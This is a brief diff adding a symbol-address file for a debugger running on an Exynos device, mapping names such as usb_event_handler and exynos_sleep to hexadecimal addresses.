@@ +debugger_storage = 0x206d000; +debugger_stack = 0x206b000; +debugger_entry = 0x2069000; + +maybe_usb_setup_read = 0x00006f88; +dwc3_ep0_start_trans = 0x0000791c; +usb_event_handler = 0x00007bac; +get_endpoint_recv_buffer = 0x00007a7c; +exynos_sleep = 0x000027c8; + +RELOCATED = 0; \ No newline at end of file